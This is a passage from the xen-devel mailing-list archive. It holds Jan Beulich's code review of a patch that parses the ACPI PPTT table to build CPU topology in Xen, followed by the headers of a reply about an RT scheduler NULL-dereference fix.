 ffacd0b85a97d-47f464c9cc3sm25924071f8f.35.2026.07.16.08.08.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 08:08:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784214543; x=1784819343; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Cx70gH2MgKHZwRLflvs3GO6NJjep4WZnLq4N2n2/ogw=;
        b=AxbNnR6W4W/+/CCkuJIpn3IoQbfxn+jpLwo8y8BeXCZVY1qF8bAjJouY7G4B61FfoM
         LL3/o8Up2+tv43eYAAHlKycVfQxwv4o991T0OsR2Xq43owXvTrF3odtdgNWRrrBfUZrZ
         R9b2j59zti0qg/DMD9MYteoMyDSoRoaTeUhVkbLv2ruH1Vrp/F2uqytA9yVHhyCec0Rg
         a25V+XxkGwHNKUuadt4D6MkLWvo6pax+ULWI7BiScf4VxqlTDoeLxngizHmst4kniQlj
         zB4LX6Ykktq7Ffe1C6QvpKrxZTFtR50ZQg1xswvo1A7ayqAl5MN1yo4B7CwTmKx4NsQb
         g13g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784214543; x=1784819343;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Cx70gH2MgKHZwRLflvs3GO6NJjep4WZnLq4N2n2/ogw=;
        b=DRfuOBVuEqPYlxckAPNSNcLRLMk4E3/9xQpNJMJ34pJ6BDBQcdEfrCjYQGYTJ5s5wo
         bF/ficIcSPtS+/f6KgijmMSOWBSXLQgUB39s2hRCI3xMwT0tXHWF00AsdFehYela8mhq
         qXQg6q6x/Fbk1m8EQ6kQw+eyQZLSOc90PXPthQRglFQICogggJ3XaK6vAeSy/4dl6x7Y
         yIpvVVeV/PJJ45/QczXLdnB7d6Q28rQK0Ph6j4FIeuikplHL5h26YN8QPsjX1OzTP787
         JLm0BBqz6PCcZgNUqE4U8M9yUjyAI/GF9wZXFRZrNuQUNo2qVagX4CooSg0Ao2QteIvo
         BJZw==
X-Forwarded-Encrypted: i=1; AHgh+RosL6Kofr32KPOKbEOoWt6L8/5torMV61ZZ3yRXrwTN0f46I71HhUq+M3oW+kGGNQpirZ6Y/ubuLE8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxnmW40hjrpII99om6X/9OTrWEPybXg4DwZJCFP3RIn6lHRMC27
	8VdCX8jUi4VZukyJqBqDaysAeoZDo9dmS6ZApuILzp8Wo2bhE4s6IkD10JGKyD49Fw==
X-Gm-Gg: AfdE7cnIw+nOUw3fw9m5M+ZRNeAvN8XeP4UUWHXfszYyS/jnlFYUKXQtQHmBAx5Im+A
	GbBbvJwYgjRyNP/X8wcZo/+YG8+yEoI+9ZspGLL+gAc1D+nsjJk2c5AAt1+VjmVytpuBvFBj0it
	OnZo0oIHkWDMIrvXMJccrB6ki8s7OZtGhLwuGj+ExfNZC3o2s2kON0rhbJOI2d6nsaHRXJU6U8A
	Tve3U5pJEag5YsLgAgcDbLTbEt0bvmYdLmG8p/n2ATBEO5SGTQ8SnjpeM5CNzSJ++Ir81MYydxW
	9ct7HSBAGU8k8oCM1r89J+mHcJnZZghlcJAN/IQWvlcMIq6z18mnf5pGlzyNlXwLzh3Vn6RrV4w
	NMQCzw4Fv3KBpJWI3IgoIimuS857jqnExuVMCyA+7YuBZ1ZMLcxf2R3OvVXR2VYubMDpG6WbWrY
	a1y/Sb98QPYb47/KhHfogXxl8bWbK9DX5sbhusdmKnrEVpYg50w3EyrS+fCKP6yEd2HQ==
X-Received: by 2002:a5d:5f88:0:b0:475:f0f0:9ec5 with SMTP id ffacd0b85a97d-47f2dce39f8mr25370851f8f.48.1784214542554;
        Thu, 16 Jul 2026 08:09:02 -0700 (PDT)
Message-ID: <df837a87-7cab-4da6-94e1-cf017960209e@suse.com>
Date: Thu, 16 Jul 2026 17:08:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, Stefano Stabellini <sstabellini@kernel.org>,
 Julien Grall <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-6-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260714104445.919830-6-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1784214543-A66DAAE4-D0F92E4F/0/0
X-purgate-type: clean
X-purgate-size: 9733

On 14.07.2026 12:44, Hirokazu Takahashi wrote:
> --- a/xen/drivers/acpi/topology.c
> +++ b/xen/drivers/acpi/topology.c
> @@ -5,32 +5,257 @@
>  #include <xen/cpumask.h>
>  #include <xen/init.h>
>  
> +#define ACPI_PPTT_MAX_LEVELS 16
> +
> +static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
> +    [0 ... NR_CPUS - 1] = INVALID_ACPIID
> +};
> +
> +/*
> + * The first argument `cpu` is the logical CPU ID assigned by Xen,
> + * and the second argument `acpi_id` is passed the `uid` field from
> + * the ACPI MADT Generic Interrupt subtable.
> + */
> +void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
> +{
> +    map_cpu_acpiid[cpu] = acpi_id;
> +}
> +
> +static unsigned int __init get_logical_id(unsigned int key,
> +                                          unsigned int *map,
> +                                          unsigned int *count)
> +{
> +    unsigned int id;
> +
> +    for ( id = 0; id < *count; id++ )
> +        if ( map[id] == key )
> +            return id;
> +
> +    map[*count] = key;
> +
> +    return (*count)++;
> +}
> +
> +static const struct acpi_pptt_processor *__init find_pptt_node(
> +    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
> +{
> +    const struct acpi_subtable_header *entry;
> +    unsigned long table_end;
> +    const void *ptr;
> +
> +    BUG_ON(!pptt);

This being a static helper, I don't see a need for such a check.

> +    table_end = (unsigned long)pptt + pptt->header.length;
> +
> +    ptr = pptt + 1;
> +
> +    while ( (unsigned long)ptr + sizeof(struct acpi_subtable_header)

Please prefer sizeof(<expression>) over sizeof(<type>) whenever there's a
connection to an expression in use (e.g. sizeof(*entry) here).

> +            <= table_end )
> +    {
> +        entry = ptr;
> +
> +        if ( entry->length == 0 )
> +        {
> +            printk(XENLOG_ERR
> +                   "ACPI: PPTT has an invalid zero-length subtable.\n");
> +            break;
> +        }
> +
> +        if ( (unsigned long)ptr + entry->length > table_end )
> +        {
> +            printk(XENLOG_ERR
> +                   "ACPI: PPTT subtable extends beyond table end.\n");
> +            break;
> +        }
> +
> +        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR &&
> +             entry->length >= sizeof(struct acpi_pptt_processor) )
> +        {
> +            const struct acpi_pptt_processor *proc =
> +                container_of(entry, const struct acpi_pptt_processor, header);
> +
> +            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID) &&
> +                 proc->acpi_processor_id == acpi_id )
> +                return proc;
> +        }
> +
> +        ptr += entry->length;
> +    }
> +
> +    return NULL;
> +}
> +
>  /*
> - * TODO: Populate the topology information by scanning the ACPI
> - *       PPTT (Processor Properties Topology Table).
> + * Populate the topology information by scanning the ACPI PPTT
> + * (Processor Properties Topology Table).
>   */
>  int __init acpi_init_cpu_topology(void)
>  {
> +    acpi_status status;
> +    struct acpi_table_header *table_header;
> +    const struct acpi_table_pptt *pptt;
> +    unsigned int num_sockets = 0;
> +    unsigned int num_clusters = 0;
> +    unsigned int num_cores = 0;
> +    unsigned int *socket_map = xmalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int *cluster_map = xmalloc_array(unsigned int, nr_cpu_ids);
> +    unsigned int *core_map = xmalloc_array(unsigned int, nr_cpu_ids);
>      unsigned int cpu;
> +    int ret = 0;
> +
> +    if ( !socket_map || !cluster_map || !core_map )
> +    {
> +        printk(XENLOG_ERR
> +               "ACPI: Failed to allocate memory for topology parsing.\n");
> +        ret = -ENOMEM;
> +        goto out;
> +    }
> +
> +    status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
> +    if ( ACPI_FAILURE(status) )
> +    {
> +        printk(XENLOG_WARNING
> +               "ACPI: PPTT table not found. Topology fallback will be used.\n");
> +        ret = -ENODEV;
> +        goto out;
> +    }
> +
> +    pptt = container_of(table_header, const struct acpi_table_pptt, header);
>  
> -    /*
> -     * Generate temporary cpu topology information for now.
> -     * It assumes that the cpu doesn't have SMT and all CPUs
> -     * belong to the same socket.
> -     */
>      for_each_possible_cpu(cpu)
>      {
> +        uint32_t acpi_id = map_cpu_acpiid[cpu];
>          struct cpu_topology *topo = &cpu_topology[cpu];
> +        const struct acpi_pptt_processor *proc;
> +        unsigned int level;
> +        unsigned int core_group_key = 0;
> +        unsigned int cluster_group_key = 0;
> +        unsigned int socket_group_key = 0;
> +        bool threading = false;
> +
> +        proc = find_pptt_node(pptt, acpi_id);
> +        if ( !proc )
> +        {
> +            printk(XENLOG_WARNING
> +                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID 0x%u)\n",
> +                   cpu, acpi_id);
> +            ret = -ENOENT;
> +            goto out;
> +        }
> +
> +        /*
> +         * Limit the maximum loop depth to prevent an infinite loop in case
> +         * the PPTT is corrupted or contains cyclic references.
> +         */
> +        for ( level = 0; level < ACPI_PPTT_MAX_LEVELS; level++ )
> +        {
> +            const unsigned int offset = (const void *)proc - (const void *)pptt;
> +
> +            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE )
> +            {
> +                socket_group_key = offset;
> +
> +                /*
> +                 * If cluster/core info is absent upon reaching the physical
> +                 * package, assume one cluster per socket and one core per
> +                 * cluster.
> +                 */
> +                if ( cluster_group_key == 0 )
> +                    cluster_group_key = socket_group_key;
> +
> +                if ( core_group_key == 0 )
> +                    core_group_key = cluster_group_key;
> +
> +                break;
> +            }
> +            else if ( level == 0 )
> +            {
> +                /*
> +                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
> +                 * revision 2 and later. Assume no threading support when
> +                 * PPTT revision is 1.
> +                 */
> +                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
> +                    threading = true;
> +                else
> +                    core_group_key = offset;
> +            }
> +            else if ( level == 1 )
> +            {
> +                if ( threading )
> +                    core_group_key = offset;
> +                else
> +                    cluster_group_key = offset;

Mich like you're omitting braces here, you can also ...

> +            }
> +            else if ( level == 2 && threading )
> +            {
> +                cluster_group_key = offset;
> +            }

... omit them here.

> +            if ( !proc->parent )
> +                break;
>  
> -        topo->phys_core_id = cpu;
> -        topo->num_siblings = 1;
> +            proc = (const struct acpi_pptt_processor *)
> +                   ((const void *)pptt + proc->parent);

No need for the outer cast?

And then - how do you know proc->parent points inside the table?

> +        }
>  
> -        cpumask_set_cpu(cpu, topo->thread_sibling);
> -        cpumask_copy(topo->core_sibling, &cpu_possible_map);
> -        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
> +        if ( socket_group_key == 0 )
> +        {
> +            printk(XENLOG_WARNING
> +                   "ACPI: Could not reach the physical package node for CPU %u (ACPI ID 0x%u)\n",
> +                   cpu, acpi_id);
> +            ret = -ENOENT;
> +            goto out;
> +        }
> +
> +        topo->phys_socket_id =
> +            get_logical_id(socket_group_key, socket_map, &num_sockets);
> +        topo->phys_cluster_id =
> +            get_logical_id(cluster_group_key, cluster_map, &num_clusters);
> +        topo->phys_core_id =
> +            get_logical_id(core_group_key, core_map, &num_cores);
>      }
>  
> -    return 0;
> +    for_each_possible_cpu(cpu)
> +    {
> +        struct cpu_topology *topo = &cpu_topology[cpu];
> +        unsigned int tcpu;
> +
> +        for_each_possible_cpu(tcpu)
> +        {
> +            struct cpu_topology *ttopo = &cpu_topology[tcpu];
> +
> +            if ( cpu > tcpu )
> +                continue;
> +
> +            if ( topo->phys_core_id == ttopo->phys_core_id )
> +            {
> +                cpumask_set_cpu(tcpu, topo->thread_sibling);
> +                cpumask_set_cpu(cpu, ttopo->thread_sibling);
> +            }
> +
> +            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
> +            {
> +                cpumask_set_cpu(tcpu, topo->cluster_sibling);
> +                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
> +            }
> +
> +            if ( topo->phys_socket_id == ttopo->phys_socket_id )
> +            {
> +                cpumask_set_cpu(tcpu, topo->core_sibling);
> +                cpumask_set_cpu(cpu, ttopo->core_sibling);
> +            }
> +        }
> +
> +        topo->num_siblings = cpumask_weight(topo->thread_sibling);
> +    }
> +
> +out:

Nit: Labels indented by at least one blank please. See ./CODING_STYLE.

Other comments (of the more general kind) given on earlier patches may also
apply here.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 15:22:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 15:22:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364249.1615558 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNuq-0002H4-RY; Thu, 16 Jul 2026 15:22:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364249.1615558; Thu, 16 Jul 2026 15:22:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNuq-0002Gx-OG; Thu, 16 Jul 2026 15:22:24 +0000
Received: by outflank-mailman (input) for mailman id 1364249;
 Thu, 16 Jul 2026 15:22:23 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Oleksii_Moisieiev@epam.com>) id 1wkNup-0002Gr-9r
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:22:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkNuo-0019l4-AJ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 17:22:22 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Oleksii_Moisieiev@epam.com>)
 id 6a58f713-bab6-0a2a0a5309dd-0a2a4502e3f0-30
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:22:22 +0200
Received: from [52.101.69.133]
 (helo=AM0PR83CU005.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Oleksii_Moisieiev@epam.com>)
 id 6a58f72d-6ca4-0a2a45020019-346545851f77-4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 17:22:22 +0200
Received: from DU5PR03MB10263.eurprd03.prod.outlook.com (2603:10a6:10:519::5)
 by VI2PR03MB10955.eurprd03.prod.outlook.com (2603:10a6:800:291::21)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.11; Thu, 16 Jul
 2026 15:22:19 +0000
Received: from DU5PR03MB10263.eurprd03.prod.outlook.com
 ([fe80::8c9e:b301:61c0:3908]) by DU5PR03MB10263.eurprd03.prod.outlook.com
 ([fe80::8c9e:b301:61c0:3908%6]) with mapi id 15.21.0202.018; Thu, 16 Jul 2026
 15:22:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=PoH5mkNoKwbIxzczOqeVJgQQA+/CaRqjL07sD5SwBRopMwLq2W38A8sOJJ3om9rir7aWSsVvlUUaFX4xcdZGSjbkZGhw+mXml5asMj7t4U3SvsVKUvvxcmPcKGrSL0e0X54p3y3pMsQtWM/rE9YkU6rXG935HnkuIGPWV73aANrlM606XfnuQy/tbG4f1beMyWL7fuGunA3YZ4/Mky8S1ul16cstR10dg8VNbkRPUoBEsrKird9iVcfZCA0/j0eXaUQ/WfgLXKsBotM6pBSBAUHwKD5+M9zdUnhGVTyF2OFvIUuG1Zd3gXeStf+sMyFPqACdLurNvB2/ZXskao45bw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=wyYrBfb3SHk20RsDa8d083u4H7+tvMOO6ZkZe1goqwg=;
 b=MuNmgx7Lut/bnFJdQQseyQYHZ8yxBg4tBVGAgOkoNvWReaYqOpU/m8wMnaLgCjFhSfUyeLO2awOh+whh3jCJGNytiVIqniBhZPLxh7IuwAReJTHfJNW5P+QgTFx2c6iAWT+SZAs1odEOWb33zAdrRTnMpVmIflq7u2DaB9C3aFF4djAKb6Nx2DgU6Ns9n9kDOmGws6KI60kaXIPSomKpv51x7Ph1seE8FscExR2Rb5hUrku7Pp/CilyJB6F3Rc7iwAbuPvhVZU9PEgB4ywd+tC/2DAgy+7KRoZCkQ/YMoVA+pMythWG5rukP19HDiH6A7LuObvKtES44WO/U/dC+BQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=wyYrBfb3SHk20RsDa8d083u4H7+tvMOO6ZkZe1goqwg=;
 b=YNKcSaW6DsvbASLY8d+tUTemeolOhTLn3UM1bw9+Trfkmq5RdhCkCuzq6ioySazezrxRzTkx6lKvmZ9/Pj2DtUj7h1k0i3E92HK5AoZUXqciMDT/JLDLmM8EXxWpjP+WBOfeunnAweQhBPWT/DARaGxi18JdNYE/yo68SM7yTywkioyBtRQqCJTIqcalQ8qCuEnqbJs4RGHNQxXvZMlkv7oDqZUrNv80yoFvLAcs0TJ7sWM4r6dBJq7cHcWy+GbCXKyTrQtfFg/1qW4TGzLMDmESvjpjCL6GX0qygcVnZiEuKW29JfkcO+MLE84AIl4pxxAVr9DDT+yS/hZovg1KrA==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
Message-ID: <4c875ff4-6336-4a9d-b6b4-f4e75deec059@epam.com>
Date: Thu, 16 Jul 2026 18:22:17 +0300
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
To: Juergen Gross <jgross@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Meng Xu <mengxu@cis.upenn.edu>
References: <38cc09ca49bb020d4b13ead36e4c9f04da2d00e5.1784211528.git.oleksii_moisieiev@epam.com>
 <551a4c50-3fd7-4aa2-b39a-a3820771ef36@suse.com>
Content-Language: en-US
From: Oleksii Moisieiev <oleksii_moisieiev@epam.com>
In-Reply-To: <551a4c50-3fd7-4aa2-b39a-a3820771ef36@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: VIUP296CA0027.AUTP296.PROD.OUTLOOK.COM
 (2603:10a6:800:34e::12) To DU5PR03MB10263.eurprd03.prod.outlook.com
 (2603:10a6:10:519::5)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DU5PR03MB10263:EE_|VI2PR03MB10955:EE_
X-MS-Office365-Filtering-Correlation-Id: d074479e-245b-4581-2549-08dee34e06e7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|366016|4143699003|10067099003|56012099006|22082099003|11063799006|18002099003;
X-Microsoft-Antispam-Message-Info:
	FzvB7Rb91y43+JhJY9orZk8AZWDF/PBLz6ALA2AA57m1o6kZC8NqEF7sCGtgSE+brnJpZRJ3U5StSd5XoenaZk23F2EqA9MM1L+An8H22tLMqVWgu/QqHLagvqrTtwHDIzbWdcwwDq/1QBCaCE+XDkEXn7w5B0TLypro+A/Co2PP0OSbvKM5zu3cXM6JcQCzE4Urm5qXFGIUnkwDJ9lwdG5cSENvjjizXUntTJE334wKm+/wdPF8RQLoYK3ytFwHgF7jTn2BVuO1reFeLDRw0ILW9LJRDsVJEhY1Q0cy1emyYeqsYc+8XEnamDyv0vjsfvNYluFTxLRKWj+jZ7wbjpgNyroOtpABXNHUVbsael2XCUe3ywW2vOZUYYZV9l+dRrEtlu3QcjLOEylbeZfyCZXAUNlfkPle5My3BPZ1NuW+1zjcmUT5m17ZRYmMS/09KWBu6MuXOApOD9Fk9GQqihFGQWaMtqAQjB/Dbu4qzwfJNuVDqTWp1I+TLWkHSy1IQP9mgxvQ374PfFqyE5/bwtYgOvu3ZW8/p0z6a2hkc7SaT5gcFG3uS7HGDYjVkyBdBP52T1Z6VLXBdUfzQUWTJbyDcHWHZIEcyfTI/082mSsyW4fw57XRNstOxh6hWYAqWGK4jsOtRf/BQCnVZmNvfKnk06UV/09QQ2kO1TGZGs8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DU5PR03MB10263.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(366016)(4143699003)(10067099003)(56012099006)(22082099003)(11063799006)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: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rL1o4OGY1dVA0M0ZOb0I4NTNvam1nY0ttRUd6?=
 =?utf-8?B?V1JQRmZDeTFPZTNyOGNiaTlCOEFzNHhJaGV2N1RCTnFYN0JDN29FOEN1dlMv?=
 =?utf-8?B?T280c0xZWVR0TmVFdGIyUGZVSC9veThTTHVuaEhZaWRTUFd4SmE5UENPMGNs?=
 =?utf-8?B?c2N1VUZiYWtvRmVRTGEvaUxkZVdIdWZuVzZhbHhsemJPd3o3VjN2S1U2dlBI?=
 =?utf-8?B?U2VDeEVZd1UzRDdwRnpMQUFzQS90SURlVEpZTGs2SUwxWis4b3FkTWlvV3Zi?=
 =?utf-8?B?a1NBTUpDeVhzMjNFcHVDMCtIMXRjekN1ZWowelU5UEl4SC9ueU9qOFlVR2wz?=
 =?utf-8?B?WU1NQlBmV2duTjZsL0FKV2hKSmVxV0k1WmVJdy8wYzYxZldxWmpIcWtMODIx?=
 =?utf-8?B?Z01JL0xQNWJSY29WeGNaMC9OWHZCTElhemRrVlJsQ1g2ZVRHK0FEUHN0bFB2?=
 =?utf-8?B?ZGFic0pHb1RhMHZRdXUxbkZHUk9vanFmdGhCUlVUSmp2bW56cFRzeEdFSzRX?=
 =?utf-8?B?VXZWcG9VeXdSOEpzeVVRTTRwUlNxT1VacVNsMWI5SUM0ZDlZd01BaWdXTitI?=
 =?utf-8?B?UGQ3NjZ2TFd1MGlwMGw0Rjk1d1phRUVFdGl4TXIrYjdtcUx6WFdMbDQ1bkU4?=
 =?utf-8?Q?XPsBvURTdHpbrH3Q=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: d074479e-245b-4581-2549-08dee34e06e7
X-MS-Exchange-CrossTenant-AuthSource: DU5PR03MB10263.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 16 Jul 2026 15:22:19.6992
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
